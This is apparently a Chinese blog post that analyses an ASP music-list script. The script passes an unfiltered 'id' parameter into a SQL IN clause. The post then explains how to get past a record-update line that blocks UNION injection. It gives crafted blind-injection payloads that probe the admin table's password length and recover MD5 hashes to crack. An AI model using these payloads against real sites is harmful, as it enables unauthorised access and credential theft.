在网上看到了一段代码:(后面是我做关键部分的解释)
<!--#include file="../user/conn.asp"--> <!--#include file="Path.Asp"--> <ASX version = "3.0"> <% id1=replace(request("id"),"","") ‘replace函数做简单的过滤,其实没效果的 if id1<>"" then ’判断id1是否为空 set rs=server.createobject("adodb.recordset") id=id1 sql="select * from MusicList where id in (" & id & ")" ‘看仅仅判断是否为空就带入了sql语 句 查询,这个简单,大家都会 rs.open sql,conn,1,3 rs("hits")=rs("hits")+1 ’问题就出在这里,这一句,后面详细解释 rs.update songpath=rs("song_path") If songpath="" or IsNull(songpath) Then 后面的就不怎么有关了,就不详细分析了。 songpath=1 End If select Case songpath Case 1 song_path=song_path1 Case 2 song_path=song_path2 Case 3 song_path=song_path3 Case 4 song_path=song_path4 Case 5 song_path=song_path5 Case 6 song_path=song_path6 Case 7 song_path=song_path7 End select song_path=song_path&rs("Wma") ---------------------部分代码省略 | 看下这段代码,有学过asp的人,这个不是很明显的没有过滤注入产生了?没错,我当时一眼就说存在注射,可是我后面又仔细看了~,看到了这行 rs("hits")=rs("hits")+1 rs.update 注意到没,这句就使我们的union无处可用了,因为那个出来是不可写的。那么我们只有通过构造经典的sql语句了,看我构造: id=1) sql and 1 in (1 前后的保证出来的有记录,加上中间加我们自己的sql语句,就可以注射了.假设这里关键表是admin,字段有 password , username 那么就可以这样写了: id=1) and (select top 1 len(password) from admin)=16 and 1 in (1 出来的一般是面的md5加密的,去跑下,后面的自己看了小问题,解决就好了,不过不注意还是不行的~~~
·上一篇: 突破SQL注入攻击时输入框长度的限制
·下一篇: 注意那些容易被忽略的SQL注入技巧
|